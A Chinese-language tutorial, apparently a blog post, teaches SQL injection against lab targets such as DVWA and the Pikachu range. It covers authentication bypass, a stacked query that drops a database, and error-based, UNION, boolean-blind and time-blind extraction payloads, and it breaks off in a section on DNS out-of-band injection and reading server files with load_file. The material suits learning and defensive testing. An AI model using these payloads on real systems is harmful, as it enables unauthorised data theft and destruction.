SQL注入原理与信息获取及常规攻击思路靶场实现
很早的时候就写了,权当备份吧
Web程序三层架构
表示层 :与用户交互的界面 , 用于接收用户输入和显示处理后用户需要的数据
业务逻辑层 :表示层和数据库访问层之间的桥梁 , 实现业务逻辑 ,验证、计算、业务规则等等
数据访问层 :与数据库打交道 , 主要实现对数据的增、删、改、查
而SQL注入恰好是发生在与数据库交互的过程中,精心构造的语句通过逃避业务逻辑层的筛选,再经过后端的拼接形成恶意的SQL语句,以达到恶意入侵的目的,但是由于每个网站的数据访问层逻辑差异,我们需要对对应语句格式进行猜测,进行试错
SQL注入漏洞原理
SQL注入的产生是由于服务器在处理SQL语句时错误地拼接用户的提交参数,打破原有的SQL执行逻辑,导致攻击者可以部分或完全掌控SQL语句的执行效果,只要我们能在注入位置构造正确闭合,就可以利用SQL注入攻击目标
SQL注入的威胁来自于欺骗:
- 攻击者欺骗服务器,使服务器认为自己是普通用户
- 攻击者提交恶意参数欺骗服务器,让服务器认为是正常的参数
SQL注入是怎么发生的,我们下面我们来看个例子:
假如一个网站在用户登录时,传递参数 id
与 passwd
,那么后端将会在数据库中查找有关内容,即拼接sql语句,我们就可以猜测,在数据访问层可能进行了如下操作(注意此时我们假设后端未作传参限制)
select ... from ... where id and passwd
那么我们接下来的想法就很简单,如果我们已经知道一个id,或者只想获取这一个用户的数据,那么只要想办法将目标的passwd
参数失效即可,而让参数失效,将它注释掉将是最好的选择,则构造以下语句:
select ... from ... where id = '已知id' -- ' and passwd = ''
然后你会发现 最后的passwd
被注释掉了,因为我们假设后端未作传参限制,则我们直接在用户id
输入处输入以下内容即可 已知id' --
,当id后面的单引号与后端拼接时加上的单引号构成一对时(SQL语句用单引号表示字符串),SQL语句中会认为第一个参数id已经结束,后面读取到--
及其后面的空格时,它会认为passwd
已被注释掉了,即passwd
不起作用,实际进入数据库的语句如下:
select ... from ... where id = '已知id'
需要注意的是--
后面必须要有空格才能生效(SQL语法的规则),如果说我们不知道id,也不知道密码,又应该如何构造呢,前文提到,where后面我们可以认为是一个逻辑表达式,那么只要保证它是一个重言式即可,可以如下构造:
select ... from ... where id = ''or 1=1 -- ' and passwd = ''
可以注意到 id
里面实际上是没有参数的,而or 1=1 --
恰好将passwd
注释掉,将where后面的有效部分形成了一个重言式,实际进入数据库的语句如下:
select ... from ... where id=''or 1=1
此时如果后端也没有对返回数据做出限制,那么我们将直接在前端看到我们想要获取到的数据
同时我们甚至还可以利用SQL语句的多句执行特性构造出以下语句(假设我们通过其他手段得知数据库名,或关键字段)
select ... from ... where id = ''or 1=1; drop database user -- ' and passwd = ''
实际传入数据库为
select ... from ... where id = ''or 1=1;
drop database user ;
我们将直接干掉该网站的名为user
的数据库,但是部分数据库不支持多语句执行,需要注意
SQL注入攻击分类
SQL注入攻击通常可以分为以下几种分类:
- 基于错误的注入(Error-based Injection):利用SQL语法错误或异常来获取数据库中的信息,比如通过构造一个错误的查询来获取数据库错误信息。
- 基于盲注的注入(Blind Injection):攻击者无法直接获取查询结果,但可以通过不同的方式,如延时注入(通过延长查询执行时间来判断条件真假)、布尔盲注(通过真假条件来判断条件真假)等方法来获取数据库信息。
- 联合查询注入(Union Query Injection):利用UNION关键字将攻击者构造的查询结果与原始查询结果合并返回,从而获取数据库中的信息。
- 时间盲注(Time-Based Blind Injection):通过构造恶意的SQL语句,使得数据库在执行时产生延时,从而判断条件真假。
- 堆叠查询注入(Stacked Query Injection):在一次数据库查询中执行多个SQL语句,从而绕过输入过滤和限制,执行恶意操作。
- 二次注入(Second-order Injection):攻击者利用应用程序在处理用户输入时未充分检查的漏洞,将恶意代码存储在数据库中,当后续处理这些数据时再次执行,从而实现注入攻击。
至于其他的注入分类则是依据注入的位置(注入点)不同而分类的
检测SQL注入位置
对于计算机程序来说,SQL注入无非就是用户输入的内容存在差别,那么按注入时输入的内容来看,无非就是数字类型与字符型类型,我认为不应该纠结于注入的分类,只需要注意一些可能出现注入的点即可,我们只需要知道,凡是用户可以进行数据提交,并且数据可能存储进数据库的点,均有可能发生SQL注入,就可以我们通常会以以下两种形式进行初步测试:
- 拼接单引号等不闭合字符:
select ... from ... where xxx=xxx'
- 拼接永真式与永假式联合检测:
select ... from ... where xxx=xxx and 1=1
select ... from ... where xxx=xxx and 1=2
还有一种较为隐蔽的注入检测,但是仅能作为低风险提示,部分数据库在运算时执行较大数学运算时会出现整数溢出问题,如较低版本的MySQL,我们在MySQL执行:
select 99999999999999999999+21
MySQL抛出以下错误:BIGINT value is out of range in ‘99999999999999999999+21’
MySQL数据库的系统表
对于SQL注入,我们的主要目的是为了获取信息,所以我们必须先了解每种数据库的系统表所具有的内容,以快速获取信息:
系统库的作用及描述
-
information_schema:
information_schema
是一个系统数据库,包含了关于数据库服务器的元数据信息。它存储了关于数据库、表、列、索引、权限等方面的信息。information_schema
可以用于查询数据库结构、权限信息和其他数据库对象的详细信息。 -
mysql:
mysql
数据库包含了MySQL服务器的配置和授权信息。它存储了用户、权限、角色、密码等数据,用于身份验证和访问控制。通过mysql
数据库,可以管理MySQL的用户和授权。 -
performance_schema:
performance_schema
是一个用于性能监测和分析的系统数据库。它提供了关于MySQL服务器性能的详细信息,包括查询执行、锁定、资源消耗等方面的数据。performance_schema
可用于分析和优化MySQL的性能。 -
sys:
sys
是MySQL 8.0版本引入的数据库,旨在提供更方便的性能分析和诊断工具。它建立在performance_schema
和其他信息基础上,提供了一组存储过程和视图,以便更轻松地分析和理解MySQL的性能数据。
information_schema
在利用漏洞时,我们常常利用此数据库中以下元数据表:
表名 | 描述 |
---|---|
TABLES | 用于查找数据库中存在的表格信息,包括表名和存储引擎等。 |
COLUMNS | 用于查找表格的列信息,包括列名、数据类型等。 |
KEY_COLUMN_USAGE | 用于查找表格的外键和主键信息,可以帮助黑客了解数据库表格之间的关系。 |
TABLE_CONSTRAINTS | 用于查找表格级别的约束信息,包括主键、外键等约束。 |
VIEWS | 用于查找视图的信息,包括视图名、定义等。 |
ROUTINES | 用于查找存储过程和函数的信息,包括名称、参数等。 |
SCHEMATA | 用于查找数据库中的模式(schema)信息,包括数据库名等。 |
系统元数据库mysql
表名 | 描述 |
---|---|
user | 存储MySQL服务器的用户账户信息,包括用户名、密码、主机等。 |
db | 存储授权信息,指定哪个用户有权访问哪个数据库。 |
tables_priv | 存储表级别的权限信息,指定哪个用户对哪个表有特定权限。 |
columns_priv | 存储列级别的权限信息,指定哪个用户对哪个表的哪些列有特定权限。 |
procs_priv | 存储存储过程和函数的权限信息。 |
host | 存储允许连接到MySQL服务器的主机信息。 |
global_priv | 存储全局权限信息,指定哪个用户具有特定的全局权限。 |
func | 存储MySQL的内置和用户定义的函数信息。 |
time_zone | 存储时区信息。 |
time_zone_name | 存储时区名称信息。 |
报错注入原理
-
updatexml
报错
updatexml
函数用于更新xml
文档内容,updatexml
函数有三个参数:第一个参数是xml
文档的对象名称,第二个参数是**xpath
字符串**,第三个参数是用来替换xpath
中查找到字符串的新内容,但是该函数有个特性,他会执行我们插入在xpath
中的SQL字段,其中updatexml
中的xml文档名称在注入时一般可以乱写,只要让它报错即可,并且支持回显示例用法如下:
select ... from ... where ... and updatexml(... ,concat(0x3e,[函数或语句]), ...)
示例updatexml
构造:
select ... from ... where id='' and passwd=''
对于以上语句,我们可以在id处构造如下语句:' or updatexml(1,concat(0x3e,version()),1) --
最后加个空格,形成:
select ... from ... where id='' or updatexml(1,concat(0x3e,version()),1) -- ' and passwd=''
将返回报错语句:XPATH syntax error: '>[版本号]'
-
extractvalue
报错
extractvalue
用于查找xml
文档中的内容
extractvalue
函数有两个参数:第一个参数是xml
对象名称,第二个是**xpath
字符串**,它与updatexml
具有相似的特性这里不做过多赘述,我们一样可以如上构造:
select ... from ... where ... and extractvalue(... ,concat(0x3e,[函数或语句]))
select ... from ... where id=''or extractvalue(1,concat(0x3e,version())) -- ' and passwd=''
你可能注意到了,我们在对应的
xpath
字符串位置使用了concat(0x3e,[函数或语句])
的形式,在我们想要的语句前拼接了一个16进制的ascii码,这是因为我们为了使xpath
处报错,使用了非标准的xpath
路径,为了使报错信息完整,故我们使用了这一方法,要获取其他字符的16进制ascii码可使用python:
print(hex(ord(字符)))
快速获取
-
floor
函数报错
floor(N)
函数用于返回小于或等于N的一个最大整数,floor(13.5)
返回13
。
count()
函数用于统计行数,通常有count(*)
,count(1)
,count(列名)
,其中前两者统计时会将数据为NULL值算入,而count(列名)
不会算入NULL
rand()
函数用于返回一个伪随机值(浮点型):rand()
函数括号中可以带有一个初始值,我们称之为种子,当不携带种子时rand()
将返回一个0-1
间的随机值,携带种子后,将会返回一个固定的随机序列
floor(i + rand() *(j − i))
两者嵌套使用,将返回一个n
值i <= n < j
,注入时我们利用的是多次运行这个语段所产生的随机数列
group by
用来筛选出其后跟上的条件符合的数据,并且进行分组,它在分组时会产生一张表,用于储存数据(可以暂时理解成一张临时数据表),并且表在查询和写入是两个过程,先查询后写入
而floor
报错注入正是利用这个特性,在语句中嵌入特定floor
与rand
语句,达到多次计算产生0101011的随机数列,于是我们有以下测试语句:
select 1 from (select count(*),concat(version(),floor(rand(0)*2)) as x from information_schema.tables group by x)as y;
对于实际情况有以下构造:
' or (select 1 from (select count(*),concat(version(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x)as y) #
在此语句中,我们构造了两个嵌套的select语句,原因是group by产生的是一张数据表,当我们注入时,数据库服务器的查询语句筛选的特定的某个条件,而不是将一张表作为条件,所以我们进行嵌套,返回表中的数据
使用count
用来进行数量统计产生表中的数据,利用它与group by将有相同特征数据合并的特性,保证每个不同特征的键值唯一
重点:floor(0+rand()*2)
会产生0与1的随机数,在产生表时的查询过程中运算一次,写入过程中又运行一次,产生固定序列011011011
则会有以下效果(为叙述方便暂时忽略拼接的version
函数):
-
若第一次产生0,表中无数据,直接记录。
-
第二次产生1,查询有无1,要将它进行计数,并且写入表,写入表时产生1,正常进行,count计数
-
第三次产生0,查询有0,写入时产生1,此时产生冲突,数据库会默认保存1的数据,在新的行中
此时新的列表中有以下内容:
KEY | COUNT |
---|---|
0 | 1 |
1 | 1 |
1 | 2 |
全过程总共5
次计算,可以看出数据库里至少要有三条数据,才能成功,否则查找终止不会产生冲突键值
UNION注入原理
利用select 1,2,3...
进行试探
在注入过程中,我们通常不知道前端与后端的交互会过滤掉哪些字符,我们可以用select 1,2,3 ...
来试探,在第二个select语句中的数字是任意的,可重复,可乱序,数量可变,如果仅仅使用select 1,2,3
将返回一张1行3列的表,并且表名和数据名全是我们select
中的数字,我们可以通过对应的数字的缺位来判断返回的字段数
- union语法:
union
用于合并两个以上语句的搜索结果作为数据集,但是union
中的select
语句必须有相同的列,并且每列的数据类型必须一致,但是union语句所形成的数据集不会有重复内容,如果要显示重复数据,需要使用union all
,通常我们使用以下语句:
select ... from ...
union
select 1,2,3,4 ...
select ... from ...
union all
select 1,2,3,4 ...
- 进行注入
union注入一般用于检测出注入位置查询了几个参数,我们以dvwa为例,构筑语句:
select ... from ... where ... union select 1 # xxxx
我们直接抓包修改参数id
为:'union select 1 #
然后放包得到数据库查询参数不一致的回显
然后我们就依次进行反复尝试,增加查询数,在输入'union select 1,2 #
时得到:
可以发现,查找数据为两条,回显数据也是两条,为1,2位置,那么接下来就可以对两个位置进行尝试。
我们输入:'union select (select version()),2 #
获得版本号(其他查询可自行尝试)
注意:union查询可以使用数字,字母或者null作为select后的试探字段,例如:
select ... from ... where ... union select 'a','b' # xxxx
select ... from ... where ... union select null,null # xxxx
我们在试探查询字段数时还有一种方法,我们可以如下进行构造:
select ... from ... where ... order by 1 # xxxx
当我们超过了查询字段数时,如在dvwa中输入 'order by 3 #
,得到报错:
可以由此逐步推断出查询字段数为2,但是在使用union注入时,不能够在order by后面进行注入
布尔盲注原理
布尔盲注常见的就是and 1=1
,and 1=2
,or 1=1
利用这些逻辑表达式将用于查询的SQL语句变为永真式或永假式以此来获取更多的数据,MySQL通常还有以下的注入方法:
运算 | Payload |
---|---|
异或 | 1 xor 1=1 |
按位与 | & 1=1 |
与 | && 1=1 |
按位或 | | 1=1 |
或 | || 1=1 |
但是对于多数Web应用,1=1
此类往往受到屏蔽,我们可以利用其他语句绕过:
运算 | Payload |
---|---|
大于 | 1>2 |
小于 | 1<2 |
大于等于 | 4> =3 |
小于等于 | 3<=2 |
不等于 | 5<>5 |
不等于 | 5!=5 |
兼容空值等于 | 3<= >4 |
亦或者使用模糊查找:
运算 | Payload |
---|---|
在 … 和 … 之间 | 5 is between 1 and 6 |
模糊匹配 | 1 like 1 |
空值断言 | 1 is null |
非空断言 | 1 is not null |
正则匹配 | 1 is regexp 1 |
数组查找 | 1 in (1) |
- 利用布尔注入发起攻击
注意:布尔注入返回到的都只有真或假两种情况,要么永真式+and+payload,要么永假式+or+payload。只有尽可能转化为真或假两种情况,才能获取更多有用的信息
获取数据库的数目,我们在注入点后面拼接:
1 and (select count(*) from information_schema.schemata)>a # a为数据库的数量估计数目
枚举获取第一个数据库的名称,我们进行拼接:
1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>a
# a为猜测的ascii码值
首先使用mid函数,它有三个参数:
mid(待查找字符串,起始字符位置,匹配的字符串长度)
,limit接收两个参数:limit(起始行的上一行,筛选行数目)
,则上述语句是对第一个数据库的第一个字符进行测试
获取指定数据库security
表的数目:
1 and (select count(*) from information_schema.tables where table_schema='security')>a
# a为表的数量估计数目
同理猜测表名:
1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='security')>a # a为猜测的ascii码值
然后获取字段:
1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='security')>a # a为字段的数量估计数目
猜测字段:
1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>a
# a为猜测的ascii码值
以上就是常见的发起布尔注入攻击的方式,但是从上面的讲解可以发现,这种攻击会发起大量类似的请求,在进行防御时需要注意,下面介绍时间注入攻击也是如此
皮卡丘靶场布尔注入关卡,我们已知有一个用户kobe,我们就可以利用and
拼接来进行布尔盲注:
kobe' and (length(database())=4)#
因为存在布尔注入,故在and后面的表达式为真时将返回kobe原有的信息,而在后面条件为假时将不会返回数据,接下来继续拼接测试:
kobe' and (length(database())=7)#
返回了kobe的信息,则数据库名的长度为7,我们继续测试数据库的名称
kobe' and ascii(mid(database(),1,1))<111#
我们继续拼接:
kobe' and ascii(substr(database(),1,1))=112#
即数据库名的第一个字母的ASCII码值为112,为字母p
时间盲注原理
时间注入攻击利用的是数据库响应时间来进行攻击的一种方式,通常是利用数据中可以延长相应时间的函数来实现,通常来讲只要网站响应时间大于设定的时间,即可认为存在时间盲注漏洞,但是部分网站会设置强制返回时间
注意:MySQL 的优化器在执行查询时会尝试优化查询计划,以提高查询性能。在这种情况下,MySQL 可能会在查询优化过程中预先计算
IF
函数的结果,因此不会真正触发SLEEP
函数的延时操作。这是为了避免潜在的性能问题。所以直接在终端运行并不能达到延时的效果
- 利用sleep函数盲注
1 and sleep(3)
sleep
函数接收一个参数,其单位为秒
- 利用benchmark
1 or benchmark(函数执行次数,运行的表达式)
1 and benchmark(函数执行次数,运行的表达式)
benchmark函数用于衡量数据库的性能指标,当运行次数足够多时,也会造成数据库缓慢响应,虽然benchmark函数的返回值总为0,但是在使用时仍会在执行对应次数后得到返回值
- 笛卡尔积延时
select * from 表1,表2
数据库在查询两张表时,遵循将结果以离散数学中的笛卡尔积方式进行合并成一张结果表,只要两张表的数据结果合并后足够大,也可以造成响应时间延长
- 特殊:数据库与网站长连接情况下的锁定盲注
select get_lock('锁名',超时时间)
get_lock函数用于向MySQL请求一个锁,如果在超时时间内获取到锁,将会立即返回1,否则将在超时时间后返回0,在满足长连接的条件下,我们在第一个会话中使用该语句select get_lock('test',1)
,请求一个锁在1秒内返回,获取成功后,我们再新建一个与网站的会话中使用select get_lock('test',5)
,获取一个和前一个会话中同名的锁,此时由于前一个会话占用了该锁,则此时第二会话中的获取必然是失败的,即数据库响应时间延长(如果第一会话中直接获取失败该锁(有可能恰好其他会话占用该锁,虽概率极小),可修改超时时间继续测试(后续该锁可能会由于其他会话结束而释放,故多测试几次),倘若仍然成立则可以直接判定存在时间盲注漏洞
利用时间盲注发起攻击
我们利用if
函数进行攻击(这里仅以sleep进行演示猜测当前数据库名):
1 and if (ascii(mid(database(),1,1))=a,sleep(3),1) # a为猜测的数据库名第一个字母的ascii码值
if
函数接收三个参数:if(条件语句,为真返回,为假返回)
,此语句表示当ascii(mid(database(),1,1))=a
成立时数据库执行sleep(3)
,我们在输入框中拼接:
' or (if(ascii(mid(database(),1,1))>111,sleep(3),1))#
发现十分明显的延时,即数据库名的的第一个字母ASCII
码值大于111
DNS外带注入
dns外带注入属于一种较为特殊的注入手段,它是将查询的结果通过其他通道带出来的操作方式,但是此注入需要有一定的条件:数据库服务器必须是windows平台,mysql的secure_file_priv
必须允许导入导出操作
在 MySQL 数据库中,
secure_file_priv
是一个配置选项,用于指定允许从哪个目录加载或保存文件。这个选项可以帮助增强数据库的安全性,限制了从数据库服务器上可以访问的文件的范围。这主要用于防止未经授权的访问或滥用,例如防止用户将恶意文件加载到数据库服务器上。以下是
secure_file_priv
配置选项的释义:
- 如果
secure_file_priv
被设置为一个目录路径,例如:/var/lib/mysql-files/
,那么 MySQL 只允许从这个目录加载或保存文件。这意味着在查询中使用LOAD DATA INFILE
或SELECT ... INTO OUTFILE
等语句时,只能从指定目录读取或保存文件。- 如果
secure_file_priv
被设置为一个空字符串,则 MySQL 允许从任何位置加载或保存文件,这可能会增加数据库的安全风险,因为用户可以访问服务器上的任何文件。通过设置适当的
secure_file_priv
值,数据库管理员可以更好地控制数据库服务器上文件的访问权限,从而减少潜在的安全风险。例如,可以将secure_file_priv
设置为一个特定的目录,仅允许用户在这个目录中加载或保存文件,从而限制了潜在的安全漏洞。注意:在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,配置文件中不会出现该条目,需要自行添加,运行以下语句查看:
show global variables like '%secure%';
我使用的是5.7.26,默认情况下为NULL:
mysql> show global variables like '%secure%'; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | NULL | +--------------------------+-------+ 3 rows in set, 1 warning (0.01 sec)
在MySQL的配置文件中增加
secure_file_priv=
后重启MySQL:mysql> show global variables like '%secure%'; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | | +--------------------------+-------+ 3 rows in set, 1 warning (0.00 sec)
load_file使用
LOAD_FILE
是 MySQL 中的一个函数,用于从文件系统中加载文件的内容并将其作为字符串返回。这个函数的一般语法如下:
LOAD_FILE(file_name)
-
file_name
: 指定要加载的文件的路径和名称。
请注意以下几点:
-
权限: MySQL服务器必须具有文件读取权限,否则
LOAD_FILE
函数可能会返回NULL
或抛出错误。具体来说,MySQL进程的操作系统用户需要有访问该文件的权限。 -
路径: 如果提供的文件名是绝对路径,MySQL会尝试从该路径读取文件。如果是相对路径,MySQL会从其数据目录开始搜索文件。并且路径使用正斜杠
/
-
返回值: 如果成功读取文件,
LOAD_FILE
返回文件的内容作为字符串;否则返回NULL
。
例如,假设你有一个名为 example.txt
的文件,它位于MySQL数据目录下的 files
子目录中,可以使用以下语句加载该文件:
SELECT LOAD_FILE('files/example.txt') AS file_content;
数据目录路径
在MySQL的配置文件中有一项(以phpstudy展示):
datadir=D:/PhpStudy/Extensions/MySQL5.7.26/data/
load_file在允许下默认读取该目录,比如我在其中放一个flag.txt
文件然后读取:
mysql> select load_file('./flag.txt');
+------------------------------+
| load_file('./flag.txt') |
+------------------------------+
| flag={'this is a flag file'} |
+------------------------------+
1 row in set (